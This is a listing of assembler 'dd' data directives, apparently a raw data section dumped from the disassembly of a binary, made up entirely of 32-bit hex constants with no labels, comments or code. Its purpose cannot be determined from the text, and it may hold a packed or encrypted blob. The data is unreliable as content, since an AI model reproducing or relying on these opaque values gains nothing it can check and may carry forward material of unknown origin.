		dd 13068866h, 5E7D166Ch, 4C638800h, 0C2BA523Dh,	0E6AD583Ah
		dd 327BCA02h, 9AE00F1Bh, 654FE906h, 0CDC33DD0h,	0A8E44B2Ch
		dd 0E580F02h, 0DA0C16E5h, 32C71208h, 0AEB07110h, 66011A5Ch
		dd 59EF305Bh, 1BC7EDE9h, 4E7D18Ch, 0C7801226h, 1614E42h
		dd 282BC868h, 64C2CE08h, 38C22CB1h, 0A905004Fh,	684CAB76h
		dd 0E00927D0h, 2852B760h, 20C3F988h, 128EE46h, 429AB354h
		dd 4DD8121Fh, 3D47C2D6h, 0F774DE21h, 46B896D1h,	8A20FBFDh
		dd 8A904B10h, 465E277Ah, 417EB048h, 3C27CC35h, 0F310D04h
		dd 90B06087h, 9D1F62Dh,	0C6895F90h, 30552131h, 3026912Ch
		dd 0F20E39E2h, 0DDC2665Fh, 0E9451F06h, 6B066E70h, 1091130Eh
		dd 0B841BBE8h, 0A6AB1D4h, 5BD829D2h, 497D16B2h,	6A4C5F5Eh
		dd 5598DDACh, 71026A5Fh, 748638E9h, 418B4B04h, 2681698h
		dd 0C31505Ah, 83043C72h, 0A29CAD30h, 0F663D32h,	0AB535150h
		dd 68E0A135h, 3A635B9Ch, 1B75215Eh, 0C980054Bh,	96228268h
		dd 161A627Fh, 0A1090E0Ah, 0E602E48Ch, 0B66826E0h, 26E4A64Fh
		dd 1499651h, 143A04ACh,	0D557F01Bh, 0BF3924B7h,	94ADB3B0h
		dd 49D6C5F0h, 3B5958B4h, 32F569B7h, 0BA29B64Dh,	0BD355FE0h
		dd 4484DF90h, 0C88014Eh, 2992A68h, 193AA062h, 1A7B246Ah
		dd 40D61053h, 792A68D4h, 21F01523h, 0D9380848h,	3302C8D4h
		dd 94C4BAAh, 0EF1E896h,	8FAC14B1h, 5A90222Bh, 555E7D6Ch
		dd 0F9607829h, 0CC2C4E87h, 1A40CCF0h, 9580B68h,	8B8713D3h
		dd 9DEEB0EFh, 0FB5B01BBh, 13E27CDh, 1B3EEBFEh, 7AB14235h
		dd 472720DCh, 5F044952h, 880F0174h, 61740684h, 2AA379E1h
		dd 5CCEDD8Fh, 5165C53h,	54FC040Ah, 5D1B8860h, 8D60C598h
		dd 5AAE269h, 50556339h,	19034DEFh, 1C3C96CAh, 0C08BE069h
		dd 0E94A8071h, 0CC92C73h, 0FDF18088h, 3F5EF531h, 0EC1AEB89h
		dd 0B1027EBDh, 2E0F4240h, 7FC501E2h, 0B93E6BAh,	0E4C5A031h
		dd 45110997h, 25253F2Eh, 30AC8C80h, 681652D8h, 0A8CC69A2h
		dd 0CE989774h, 149F3AB7h, 0BE12BF6Ah, 110DF51h,	440C5CC9h
		dd 256BCF28h, 1F74C51Eh, 0FF2BC956h, 8C8B8359h,	5B8B1938h
		dd 0E2A4163Ch, 49E93FEFh, 0D4281DD4h, 0C4F8FBCBh, 9DBF0723h
		dd 0D2372F71h, 7EE5475Ah, 0C40C831Ah, 0AEAFA7Bh, 6D2E684Ch
		dd 0A15438F8h, 7CB42EE9h, 2EDF4012h, 0E9A03C3Ah, 0D3B0C229h
		dd 4CD6E203h, 0B7D16114h, 0D551F280h, 0E907120Fh, 681B42C7h
		dd 9F997F9Ah, 499F3050h, 0B75FB940h, 7FE2114h, 44DC0B5Eh
		dd 0A6725289h, 123FDC05h, 26E1C234h, 867207D4h,	0C064BA85h
		dd 0D8285AD0h, 0B6005251h, 21B75354h, 658EF80h,	16E9FD88h
		dd 280F2CE7h, 2B5A66F0h, 47BE2BBh, 91D04AD5h, 2E6BC3BAh
		dd 27D6121Eh, 0E92DD694h, 0BED380A2h, 588F4DE6h, 0DA2C623Ch
		dd 88646122h, 56D0EC02h, 0C3E7BBC0h, 0BC78735Ah, 0D3EF01A3h
		dd 0FBB0DA94h, 8B4E53E8h, 19A45F68h, 544BC701h,	67ED1FA7h
		dd 217B5935h, 26C0ED11h, 4F022806h, 5A136E49h, 0DDF61131h
		dd 4316C637h, 98263410h, 0BB0153C8h, 548652A8h,	20645C29h
		dd 3F3441E8h, 60F48F0Bh, 1674BFFAh, 0C1048566h,	35F2781Ah
		dd 389251A5h, 440520C1h, 2160B841h, 0EC415Dh, 2406EB82h
		dd 59576518h, 911947FEh, 6B2FBC8Fh, 0A1FB3A0Bh,	7AFC103Eh
		dd 4971512Ch, 0F9339944h, 0B9E04512h, 0C023CCF6h, 3D4B640h
		dd 5F12A03Ch, 224FDE01h, 0EF111Dh, 4E786B5Ah, 516D9446h
		dd 4B273456h, 3A629A32h, 0D27F48DEh, 66D3830Fh,	3A559B25h
		dd 0F9D7EA3Ah, 10636902h, 6020F3Ch, 0F8215AD7h,	2FD781F3h
		dd 58C1A580h, 5F5EBE56h, 8130A500h, 985DCDCEh, 850F176Eh
		dd 1D60F4F1h, 0C78BA795h, 0CCB8A672h, 0B1B4D766h, 59480A51h
		dd 825F89C4h, 206E67CBh, 5BB85C21h, 0A2958h, 9F580205h
		dd 27F00151h, 8240D1E9h, 2725C8B9h, 14C280C2h, 9D43F97Dh
		dd 0FBE17E00h, 369F656h
		dd 3D375610h, 26AAF187h, 0CA29B1F3h, 5283A59h, 8053945Ch
		dd 27B959DFh, 48BAD9E9h, 46AFBB00h, 0D3F75328h,	0B4CB0681h
		dd 1039C00Fh, 0EBD14300h, 1FABD55h, 0F029FA20h,	7AB65Dh
		dd 0A08F581h, 0C10967ADh, 4503E5h, 404FD983h, 0DBF7263Dh
		dd 317D2E10h, 0ED74AE46h, 0F3A8238h, 7E3E8F0Eh,	70AA4E62h
		dd 0D1F783B7h, 8494CB87h, 48F68B26h, 0FD3020Ch,	7A5763F7h
		dd 6A7CC01Dh, 299F09F8h, 15BDF17h, 0E91D2B8Bh, 0C9F6ACCDh
		dd 684BE1D1h, 0B552E8F4h, 64255E14h, 10367113h,	6313733h
		dd 6C3C5C69h, 0ED9E5A4Dh, 6190C727h, 6FB646E9h,	58264341h
		dd 0AE2507FBh, 143B206Bh, 0A7B8B438h, 20C0CD05h, 7DE16452h
		dd 192653Bh, 1A326226h,	0E3862130h, 1C081695h, 0AA106F1Dh
		dd 27014D87h, 0A2FD0567h, 8521628Eh, 7CC3CB2Ah,	38AFFE55h
		dd 3B2B5101h, 0A05D020Ah, 0FE44F342h, 3EFAC211h, 0B5D5C60Fh
		dd 0F2801CA8h, 52E2D9A2h, 0DF91E3C2h, 304D6028h, 0FFE9C30Ch
		dd 7F63459h, 0B60F66F1h, 6515B3CCh, 0CCEADF2Fh,	0C933FC8Bh
		dd 0DAF85DD5h, 0C5F20134h, 6D0A681h, 445BF64Ah,	0BC11178Dh
		dd 578CC41Dh, 3C545606h, 0F5053245h, 174091A2h,	4A225B98h
		dd 8FC4816Ah, 0E6A9F504h, 30439AE1h, 79053844h,	0F3010346h
		dd 0D108C2h, 81CD2958h,	49D2ED04h, 4AE0339Bh, 0F2AA83EBh
		dd 6F6802C8h, 38200817h, 8B521240h, 4C29C84Dh, 0B9013CFBh
		dd 3F6075AFh, 0B55CD2E9h, 0D8215E07h, 9633683h,	5CC56810h
		dd 4595F044h, 596803FBh, 4610B35Eh, 0AD317EE7h,	0F828295Eh
		dd 0BF3C576Bh, 67FE92F4h, 0F2D13E0h, 54AF75C9h,	39E9C802h
		dd 4542B8CAh, 0D7F88E46h, 0F118B46Ah, 21595C84h, 5BA48CC4h
		dd 2E7241BEh, 8619F2Fh,	92FEB850h, 7913531Bh, 4CBE1AD0h
		dd 7055003Ah, 525AD631h, 1D09D8BAh, 1C10878h, 0A92681Fh
		dd 0B809343Eh, 87D3805Fh, 904A5BDAh, 98907C6h, 0A1F77630h
		dd 6B01ACE9h, 21F9B534h, 551608D2h, 0E2019824h,	774A7E3Ch
		dd 23F0F2D9h, 601D482Eh, 0BF372674h, 9C300F3h, 1103534h
		dd 0EB50C998h, 1EC05A08h, 4E7732A4h, 0A6CA7B68h, 6790BDE0h
		dd 98052A6h, 7FFBB0C2h,	0EFC08017h, 0CCC8024Bh,	8AF3A128h
		dd 0E093992Ch, 0E9271BDEh, 0F6756122h, 0FE55D12Ah, 388105B3h
		dd 842D6708h, 130C2386h, 24F9C138h, 0F51080CFh,	883D2C03h
		dd 95A858C5h, 0B24C5266h, 82702FFCh, 80D2F7BDh,	0A6F37388h
		dd 0FD29488Fh, 21B552Eh, 78FE5D8Ch, 0ABA11578h,	1C2DD6h
		dd 92390FEBh, 0A2C32908h, 5808008Eh, 93481A68h,	7C950B66h
		dd 0D250E0DAh, 0EF65A465h, 78874B0Ch, 0DB3F25E2h, 809D267Bh
		dd 0E143D60h, 1E00F681h, 0F15265Bh, 0C06B618Ch,	3406C68Fh
		dd 28B83DFFh, 48C01020h, 0AA2A674Eh, 4C88EEBBh,	0C81347E3h
		dd 0E1E10159h, 3515606h, 4CB826A1h, 1BF80300h, 42882D87h
		dd 0A8BD4603h, 0E9090707h, 0B626409Bh, 0CA9B890h, 64EB8B0Fh
		dd 0D040B7E5h, 7E20AC1h, 0F905634h, 60CC39B9h, 2014F60Ch
		dd 1A418F9h, 4ABB26F3h,	3E958F5Fh, 534DF608h, 5089D594h
		dd 8575342Ah, 0BD194FE9h, 5E588E74h, 0E2100491h, 176A4CB2h
		dd 38B56062h, 891C0F72h, 5EF081D6h, 20C7295Ah, 3C413A5Ah
		dd 9336B940h, 90877EF4h, 0F1890EDEh, 203903E9h,	649E6831h
		dd 15FD70D6h, 891A1512h, 0A15320D3h, 415B6973h,	4B8FD8Ch
		dd 305C4638h, 0BA8DC1F7h, 0C53A38CAh, 0FE8A7B8Bh, 91DD2128h
		dd 0AA7C1C53h, 9E68137Eh, 0C3998C75h, 34622B75h, 5EE1EB94h
		dd 57FB8249h, 3A492344h, 0FFC42A22h, 254C81F3h,	9516DC32h
		dd 8C597C76h, 8F4AC12Ch, 245534F4h, 0F31CB7ADh,	22428DD9h
		dd 53EE1316h, 0D80899A0h, 5F045B05h, 0F4A0C230h, 0D5882C42h
		dd 86FD1FBEh, 95025768h, 61C56EECh, 35F859CBh, 0F42192DFh
		dd 3B00F789h, 2DEF1BFAh, 588D0656h, 5280F2Ah, 15F7607h
		dd 53A65E44h, 6CA1E957h, 48F87585h, 0F984B3BFh,	402E2C10h
		dd 962EFD09h, 7416014Eh, 8F080824h, 2CBB00BCh, 893C7003h
		dd 0AE5BD93Eh, 58BB1B4Bh, 67B7014Ch, 0D0010E1Bh, 2C818F41h
		dd 4BEE393Bh, 0C8914E7Bh, 602518F6h, 1E76E300h,	0B040E75Eh
		dd 511A5748h, 0EB12E92Ah, 2F90F6EAh, 49D606C6h,	0E5411621h
		dd 8E842E2Dh, 0A5E9307Ch, 0C2609C57h, 8874122Bh, 34505996h
		dd 9D5E9411h, 84A60066h, 27E0A308h, 3E558F42h, 656D9629h
		dd 0FC2FC05Ch, 0A2E0B78h, 6E0E0951h, 0FAB35A45h, 88282022h
		dd 3C486639h, 5ABAFA40h, 0ED215B24h, 2026FA25h,	6812418Eh
		dd 69345362h, 77D08687h, 984D5FE7h, 410D59ADh, 4E2C6648h
		dd 0A3F68B2Eh, 0C01EF178h, 807F05E1h, 0D5B05001h, 0E158C130h
		dd 1414573Bh, 4C061ABAh, 9452BB35h, 9DCA745Bh, 3E145A2Fh
		dd 0AE17793Dh, 8B01E250h, 89AF7EE8h, 0BA866B60h, 9E3BEA85h
		dd 52FA26D4h, 0BA85CB16h, 0A46BE989h, 3EC1018Ch, 17240D34h
		dd 24C483C6h, 3D4F21BAh, 74A004B0h, 41343D33h, 0E5859FA5h
		dd 2E88BC87h, 1418F03Bh, 128B080Ch, 1D89A42Dh, 20F743D8h
		dd 39D04946h, 9185418h,	4550D829h, 0B242850h, 1CEE74C4h
		dd 0C9C140EDh, 35808302h, 8DBE581h, 453D2F07h, 0E09FDDF7h
		dd 838BA0A2h, 28EB5B21h, 849DD12Ah, 29097509h, 5249CB02h
		dd 7E652440h, 5933DA00h, 7404F181h, 89580245h, 85DDE9CAh
		dd 44FEB5Eh, 1A913329h,	366C1516h, 0B07A0C4h, 350C845Eh
		dd 4F4ACC57h, 0A628CE5Ah, 9A89FA50h, 9A5E4884h,	0A2AF8D85h
		dd 0A74F7846h, 0F5C78C0h, 0BD30B5C8h, 59C3BE5Eh, 0C956505Dh
		dd 1D768071h, 14063B4Ch, 7C07A45Eh, 0E4D71303h,	7FA2916h
		dd 4E7C28Eh, 6F01F76Bh,	1F08EA0Ah, 661D55E9h, 19786883h
		dd 0B4EDD710h, 0EE94995Eh, 4925BA75h, 0C72D5435h, 81423B2Ch
		dd 0AD7816BEh, 2E4CE863h, 1044E0B1h, 0AB033A88h, 0B753D88Ah
		dd 0FD283B4Ah, 0E8325B38h, 36F92650h, 0AD59F08Ch, 265744BBh
		dd 0EDF7649h, 61D0EBECh, 3BC0890Fh, 0BEF4178Bh,	8F77A278h
		dd 0E4176562h, 0C40E41E1h, 7C78DD2Eh, 0AEB58433h, 0BECA300Ah
		dd 0DF0C2DE3h, 962E0AAh, 3A460361h, 0F126AF9Dh,	227833Bh
		dd 39E9C218h, 0D15902BDh, 6402F6E2h, 93A7FC54h,	0E660AECDh
		dd 9A07FC51h, 16816009h, 77F40F53h, 6355828h, 63E95D17h
		dd 0D320D9C4h, 0B08E8C1h, 5393C831h, 614C4E02h,	7162C776h
		dd 0C9AD0F1Eh, 344F79F5h, 0DFA21133h, 9D62C897h, 93447FE5h
		dd 4F81C94h, 0A8467CC5h, 0E12ECB5Dh, 8F785E03h,	1437C6C0h
		dd 0F091D3Ch, 0A2DF7B82h, 736812CDh, 0B0308EFh,	0EC085626h
		dd 0DE280F7Ah, 0CED07FA9h, 3904AC1Ch, 8109EE96h, 2952DA6Ch
		dd 0BFAC199Fh, 7C83622Fh, 0E7EDC968h, 0ADB71292h, 0BB8908ECh
		dd 2127E17Ah, 509382D8h, 8D827754h, 0CD460B2Ch,	4350D2F1h
		dd 10B42B9h, 713E86D7h,	19F9ECF1h, 4065C122h, 316D7476h
		dd 295BDE17h, 205560C1h, 0F652FD87h, 6501A754h,	0B553805Ah
		dd 2CECF088h, 0D028410Eh, 0BB799F04h, 58C3975Eh, 38E99D44h
		dd 775F05F8h, 0B882D480h, 0AD5C2944h, 5160AE0Bh, 38CA742h
		dd 0A99EE4A0h, 0AD044A12h, 991BFF1h, 9FF42DF2h,	0CEE9132Ch
		dd 0EF71A422h, 55D00495h, 40472BEFh, 18ABD9F3h,	4DD045C2h
		dd 1D685B09h, 6814DC7Fh, 0E9FB61A9h, 2A17CF4Eh,	7CB25E51h
		dd 0F392F7CFh, 93B976E8h, 0F5C83B8Ah, 5ACC208h,	0B272D768h
		dd 91A34EB4h, 9BCB993h
		dd 90D1A8E9h, 258F4492h, 49706069h, 7A03CAF2h, 0F4CE537h
		dd 16A0B586h, 2AE92542h, 88E18163h, 3CBFACC4h, 6E015F58h
		dd 26D4AEFh, 0E9BD8485h, 1BB705C1h, 1F0EAB4Ch, 7F0E1Ah
		dd 0E72615CDh, 20B7E905h, 4BF835DCh, 0D184BB8h,	7CEDA146h
		dd 122E4847h, 0F988C280h, 780B9D5Ah, 24A68D79h,	12A85813h
		dd 0B74BBEB4h, 0C0C6139Dh, 0E65E9305h, 171AC93Dh, 13001B2Bh
		dd 12C67A02h, 5D02914h,	575A1307h, 4883376h, 941BA968h
		dd 0E319C14Eh, 605003Bh, 6A972F9Dh, 3A5B80E1h, 0E909D2CAh
		dd 6DF4F385h, 1813654Ah, 7601A049h, 0E681C074h,	0E228370Bh
		dd 79E8A611h, 4B20F22Eh, 7518DE00h, 0A1D5F73Fh,	0A9FC69F6h
		dd 42E924BBh, 0A066941Dh, 889DB731h, 0C11F7BEEh, 3865909h
		dd 1497B2A2h, 0B401B126h, 83062734h, 0EAC3CA8Dh, 89F706AEh
		dd 6030E932h, 3EE829ACh, 0C812232Dh, 3B550B44h,	54575C98h
		dd 9DE11695h, 43E16030h, 9F58180h, 5DB6CF6Ah, 7BC25310h
		dd 0E0050C24h, 4943A516h, 2C02E4C0h, 20CA0406h,	431B609Ah
		dd 916FD9EEh, 0F101BD1Fh, 0EBA01D53h, 512E03B9h, 0D1F74869h
		dd 3BDC10E1h, 0BAE13A89h, 0FA6AFAh, 657998B4h, 0FCEEC43h
		dd 1E053852h, 78EFF68Fh, 5F61F89h, 797C8B4Bh, 16E9C134h
		dd 0A29D7811h, 17FAD89Ch, 0CC65A168h, 3214EEE3h, 104B2E1Eh
		dd 58267EC4h, 57FA5B54h, 52126056h, 1B530801h, 0A30788Bh
		dd 0C2800B0h, 59CD0173h, 805E5C1h, 0F6850F4Dh, 415FA4B4h
		dd 0A713EE3h, 0F3E8CD8Ah, 940A17B3h, 0D6140E1Ah, 0E1683E45h
		dd 1B6E8224h, 45698262h, 3BBE8187h, 6B0FFD4Eh, 0D81E5913h
		dd 8902F029h, 2A48342Fh, 263A02DDh, 0FA43358Bh,	0EC952DE1h
		dd 0E9273452h, 0C4D32E81h, 8B91D7BBh, 0D2F5EF0h, 2E0631B7h
		dd 6884BD32h, 80AA2A98h, 648EEC1h, 5C4C070Bh, 0EBE47BABh
		dd 2538CF0h, 15FBBA52h,	69421D3Fh, 0BB83CB2Fh, 35C04110h
		dd 0E10AEB81h, 8477AA32h, 79F1D500h, 1BDD0142h,	0D927F5E9h
		dd 693D51E8h, 0E8324360h, 0A079FA5Ah, 301A9794h, 0E9FC6588h
		dd 7674BA66h, 0D5C27B4Ah, 0C8D3C232h, 4CF386DEh, 0F61DB151h
		dd 0BFD825D1h, 0A80B0E24h, 7861FEF2h, 0E927C209h, 1B0C8C54h
		dd 990DB85Ch, 314A2B0Fh, 2FB072Fh, 25DCC328h, 0D059CAAEh
		dd 70926885h, 68A0D1FDh, 4E9655C8h, 7E36CD62h, 450262B4h
		dd 31686600h, 0BA72E90Ch, 0E3A95113h, 0DB0C9AAAh, 101AA476h
		dd 0EBC00153h, 2A8B0F06h, 0F3807D84h, 5628EB4Ch, 0D8882D50h
		dd 0BF6C285h, 8F10AFE0h, 7A1363C1h, 13852E35h, 3CB18001h
		dd 0CA303150h, 30C441CAh, 9D1F2D1Ah, 20E41C7Eh,	0EA06AE00h
		dd 58D00115h, 0F410235Ah, 2CC13AEFh, 0E1028F05h, 0E048AF26h
		dd 0DF7C934Dh, 15AAC3D7h, 0C1DDB845h, 34080114h, 0CA381455h
		dd 0ED8180C1h, 4F072DBFh, 0E9CD1E29h, 0DBA52DF3h, 5262F08Ch
		dd 3A1E959Dh, 21401840h, 51E30FBAh, 0DE4B740Ah,	0BF8250C2h
		dd 0E361A72Dh, 0E01A2FA5h, 5B466994h, 89D01A6Ch, 2041DA3Eh
		dd 1D2E8737h, 0E1006C4Eh, 5F3F6F1Bh, 8E912C1h, 0F1DBB041h
		dd 0AE423B0Eh, 0C502DF0Dh, 0F6F255B3h, 57A22FDCh, 0A40E664Dh
		dd 44FEA84Bh, 70AC9Fh, 0BBE60535h, 0E8C12482h, 3A060926h
		dd 2EB63618h, 3EEC009h,	6B8D8650h, 0DBFD0B37h, 5043F3Bh
		dd 54BB0917h, 70E3AA29h, 60508165h, 33413991h, 3DC31860h
		dd 31230FFh, 2D518BA8h,	0FED0E652h, 7E80B5F2h, 39D44818h
		dd 41C70159h, 67E73108h, 0C8344AFFh, 0CC1A42B9h, 23F16EA7h
		dd 0E3565B96h, 97503E38h, 637020A2h, 3DE85B04h,	0C70075B3h
		dd 0C815BABFh, 0F8FD8931h, 994A9712h, 0E608E1F9h, 0EBCE3420h
		dd 5ACAC458h, 17C93423h, 4EF8B0DAh, 7B7ABF80h, 6C644827h
		dd 89F4D604h, 24C5A815h, 0BC001256h, 0BE31883Bh, 4FD5095Eh
		dd 71A2010Eh, 0CA0C7428h, 294B8862h, 36CF81C0h,	0C720EE6Ah
		dd 800CD80Ch, 68DFF734h, 312E5731h, 5929E85Dh, 4FD30710h
		dd 0DF33F9E0h, 0D28E5FF7h, 3563B508h, 0B72D6ADFh, 34BAD204h
		dd 61DA2953h, 570B1CCCh, 1A4109Dh, 2BE918FEh, 9DEAC513h
		dd 0E038B50Bh, 12727389h, 1591F801h, 80EA666Ah,	7ECA5F3Dh
		dd 0C9294A5Eh, 0A4A13CDAh, 0BD4746A0h, 63BDCC80h, 367A8F05h
		dd 4A0EED5Dh, 9C812A34h, 0D83F746Ch, 78B61CF5h,	547EE9C2h
		dd 80E62D4Ah, 0A64F80F6h, 7FC7DFC8h, 0D26B487Ch, 5A7B9B10h
		dd 0C681B084h, 0C60021D0h, 0D6F6A8C3h, 0F1E7AF4Fh, 8B019940h
		dd 2F36E9B1h, 9F73340h,	95DF37EEh, 720A88Ah, 0CCBE7813h
		dd 0B7E40764h, 2426E394h, 3A622B16h, 0B450F04Fh, 9B666920h
		dd 6BA61C2Ch, 426853C1h, 9C542634h, 0E9B629D2h,	5665C353h
		dd 5534A932h, 459E9496h, 0DBB2E986h, 0EFEF8162h, 978B317h
		dd 65F35702h, 0E0409263h, 0B16612Dh, 0DBF775C2h, 352B2F80h
		dd 0E3FC6BF9h, 494C8E0Ch, 13982801h, 87701D60h,	0C2F1A5D1h
		dd 0E16AF0BEh, 0D1F30975h, 6A73484Ch, 0D0938800h, 4033CA25h
		dd 80E1B5F8h, 609D315Dh, 0BACDE218h, 22D16517h,	3144B0E8h
		dd 5F34DA57h, 24E9A78Ch, 0A5595469h, 0A59023DAh, 74480A0Bh
		dd 29F2A218h, 9B1C2E8h,	4C89500Bh, 0D56BEF5Dh, 726A8A0Bh
		dd 0EB403077h, 0DC16955Dh, 0E9F88904h, 0D0F42872h, 85C7DFD6h
		dd 0A08BF580h, 715BC1EAh, 6B926437h, 67CF900Dh,	7BD628A0h
		dd 564B08C1h, 0B300450Eh, 0F3B472Fh, 0DF77E884h, 0E63C0031h
		dd 0C7E9A4BFh, 13A2ECB5h, 0C901C068h, 0EB40411Eh, 178105DCh
		dd 0F1105B7Ah, 0F31D68D6h, 0F8F05144h, 0EF9B5484h, 54BCCA3Ah
		dd 0E92D557Ah, 0C02000B3h, 0F8005E5h, 432C8DEDh, 4221B6A9h
		dd 371A6B68h, 97532C29h, 7FB7A812h, 12F5D351h, 494B5F06h
		dd 25067B2h, 3234110h, 0EA275C45h, 0C4E4F914h, 48E921EAh
		dd 0AC3BED3Ch, 0DC273E12h, 6816669Bh, 52270208h, 4642F972h
		dd 35B0055Bh, 0A3F049E9h, 459E0189h, 0D9317F9Fh, 162B1BFDh
		dd 509DB7A8h, 18B5023Eh, 661068D4h, 0E7829B4Dh,	0D488501Ch
		dd 0AB0CE192h, 0EEEF7D76h, 8D5A4E20h, 76A352A5h, 0D29CD9D0h
		dd 3B8D666Fh, 0D33125D1h, 2AA0A070h, 0AC37E45h,	0F9215CC6h
		dd 1090DE01h, 5B5B62EEh, 0FE31D750h, 8C58D6E9h,	1892C38h
		dd 0B35352D0h, 20A4B6EFh, 0F6800B05h, 0EA822F0Bh, 0F0D21761h
		dd 147C440Fh, 5967641Eh, 0BE624FFFh, 0EDC12EABh, 4232CD66h
		dd 8E5AA382h, 71231F12h, 5E0410ECh, 803C9058h, 700E3613h
		dd 3DA0848h, 37D34F3Bh,	0BC179D01h, 0E5923216h,	0F829043h
		dd 88B3BCA3h, 8100B0B7h, 466C95C1h, 0D063986Ah,	694808AAh
		dd 48F65810h, 0B1C61805h, 0E2EE635h, 0F268E1Eh,	697325EDh
		dd 0A08FCBDBh, 5AE9B331h, 68084801h, 0E32DD330h, 64065DA6h
		dd 0ED8A0F33h, 13CD9F19h, 47B16A2Dh, 3AE90578h,	2539BA21h
		dd 8443757Bh, 4BE2A69Ah, 531686A2h, 0DEF88943h,	70469BC0h
		dd 400BC32Dh, 82D6B09Ch, 11C43E5Ch, 0C8F23922h,	65CEE607h
		dd 86B464F2h, 0AB135EAh, 0A8FAAADEh, 5CCF20EDh,	240D8A74h
		dd 8448802h, 0B5D3D760h, 5E201E93h, 26567EEDh, 80EB1088h
		dd 6A4C79A7h, 0CD09E581h, 97305h, 631360B9h, 7B532h, 0E9D84059h
		dd 46A2E026h, 6543F18Bh, 3CE00A5Ah, 1608642Bh, 0B773C76Ch
		dd 0F150D75Dh, 0F44D71B8h, 1BDA4429h, 45047FFAh, 3BE5136Eh
		dd 0D2C919E4h, 0A463AD64h, 4D6857E1h, 8A011214h, 48B39110h
		dd 74A0456h
		dd 55A85019h, 5C08A272h, 0FE8533Ch, 1B2D680h, 14084258h
		dd 90E5D79h, 90698A8Dh,	2D706E82h, 0F83901C8h, 6E59C554h
		dd 0FE01CB34h, 0AC85698h, 0DF06E7ECh, 0BC8ED06h, 0A5059FFBh
		dd 5FF901DEh, 7C7D5E89h, 0FD316E12h, 70F70724h,	77B50958h
		dd 0A04B90FCh, 0A4F35C1h, 0B5B4FC8Ch, 5EC9FD33h, 211297FAh
		dd 0E1D13002h, 37D14041h, 0E67D27C5h, 59AE79C0h, 0B49B1BEh
		dd 0CC72C235h, 2FBDB6C7h, 1A24DF95h, 915FF591h,	7A63D13Ah
		dd 0D4DECC32h, 0E06625EBh, 6D98E913h, 27D26C50h, 0BEF763A6h
		dd 123BEF24h, 6618C2FBh, 0ED54967Dh, 3AA10211h,	54348B37h
		dd 0CAA14EACh, 0F652496Bh, 326C63E1h, 2CA0D60Fh, 190EB052h
		dd 0E4821720h, 15F11ABh, 8B9E126Eh, 25C34CE5h, 66720BEFh
		dd 0BEA1F6ECh, 9415BB6Ah, 569FE51Ah, 52B04035h,	0E28073B2h
		dd 0D2F6E000h, 3063B551h, 81595AEAh, 6FA9F23Dh,	468B43DDh
		dd 908A9FB5h, 0A43E8BB2h, 415A54C9h, 0FDF7AE85h, 6AA26567h
		dd 63E96C81h, 13C449B4h, 0CA340E29h, 0E9ABEB61h, 6E3325C8h
		dd 505191CAh, 409867BAh, 33B30AA0h, 66DC3015h, 2C8A5AACh
		dd 8867854Ah, 0E54A88FAh, 1F6366F1h, 5268626h, 1BD5F601h
		dd 1005D606h, 6E9C5FEh,	0CB5BD9ACh, 0E728101Ch,	0A30DBE02h
		dd 0BE84E030h, 4FB00FFCh, 5062BC0h, 4CE00422h, 4CC858FEh
		dd 5AD0AC10h, 42BE54B4h, 0CA881257h, 8B1F9BBDh,	7CD376h
		dd 0C6792FA0h, 90904D25h, 5D714FFCh, 5FB0C176h,	0B8B05C25h
		dd 4F4B8ADh, 0E907CB34h, 42BDB056h, 648F6ECh, 0E0C1CFCBh
		dd 35F18105h, 7FB04E4h,	8D30C368h, 48B0731Bh, 0A37001Bh
		dd 46055432h, 1A430921h, 0C4032C0Dh, 6BB83566h,	0D13E4990h
		dd 6C2F00E8h, 3B2D07C8h, 17FA27ECh, 28CE7608h, 0EA822A0Bh
		dd 0C4254AECh, 822DC5B1h, 6B56D451h, 410C2D0Eh,	0F82922C5h
		dd 0F2BA5F1h, 6B4280B9h, 5AD6EB28h, 8C4D369h, 1CADB029h
		dd 0A2575A95h, 612E8B04h, 8D420177h, 4F85013h, 4B577CB9h
		dd 0D374C723h, 0F3E8DA12h, 0CF98CD89h, 5613F507h, 20FF1B46h
		dd 38F0CD8h, 0C0965FE9h, 0A5F35B8Bh, 382462F2h,	6F027156h
		dd 6A13171Dh, 7E14C2E1h, 0FCBD6061h, 2E7DA07Eh,	0D944C127h
		dd 172D8895h, 5653028h,	45AEC320h, 0BF3E3321h, 0BE2FBD46h
		dd 89EF3FFFh, 0C657598h, 31E40F07h, 5A90295Bh, 971EBFE9h
		dd 0B56E3F26h, 0EE8C6809h, 54AA8B99h, 0CA8A3906h, 89DA0CE9h
		dd 0BAF1C601h, 0C66206E8h, 10052B02h, 0FED7D3BEh, 9ECE27E7h
		dd 0C14A4296h, 0B3E005E1h, 2D280379h, 531D950Ah, 0E9C6C854h
		dd 0EA5314EBh, 0E4D0977h, 4CF35E78h, 9C0A4B3Fh,	7416C004h
		dd 0D7285447h, 12F04DE4h, 94BC9E5Fh, 2D1295D1h,	20F329D8h
		dd 287D494Eh, 0CB7C5B58h, 9E27D89Dh, 186B6FD9h,	15D570C2h
		dd 47E98553h, 0E490D451h, 0EA5C297Ch, 0BBC925A2h, 74FEDAB6h
		dd 8F640B2Ch, 9DC0BD83h, 0F7ED2705h, 6C77D79h, 244A72C3h
		dd 0A5DA6F4Dh, 0E916B716h, 8591F527h, 1788693Ch, 0E924D61Fh
		dd 0CF66680Dh, 62675888h, 39B45000h, 50C0DCF6h,	4A5CAEECh
		dd 0D72CB433h, 8E2CF15Bh, 4179ED83h, 0B0D8E917h, 0B9EC54A5h
		dd 592CA9Fh, 0C0B027C1h, 946AFA4Eh, 0B050604Ah,	0E29D661Ch
		dd 0A34D63E6h, 1C367ED0h, 94A43479h, 7E38D7F6h,	0EB27B073h
		dd 1CDA4922h, 516E2B41h, 89DEEAEFh, 2B35A4Ah, 0DCB615C0h
		dd 56044BC3h, 2D8CA9BAh, 0BD0758A9h, 2A3C80B1h,	0FEDB9D17h
		dd 0BFAE5C28h, 3EE26DA0h, 495CD611h, 90938F9h, 0AB292FF2h
		dd 599E0979h, 40792702h, 135DF03Eh, 3AA1969Ch, 73B8872Fh
		dd 81D55DE8h, 926CE357h, 0EBD7C16Bh, 3CE059EBh,	0A2B22E74h
		dd 25B62E0Ch, 40B0CAF0h, 0B760CB00h, 98BB536Eh,	318C000Eh
		dd 72F3814Bh, 6302277Bh, 0D3E9D921h, 0EFB7D4CEh, 0F0086Fh
		dd 0C8BE0F5Ch, 0BB384B68h, 9C640D3Dh, 4095936h,	1894C68Fh
		dd 9C625D4Bh, 0FEC0A947h, 0ED99D080h, 126A6880h, 43A6541h
		dd 0BF23D15Fh, 0DC2D6A31h, 1FC32802h, 437A8997h, 2725430Bh
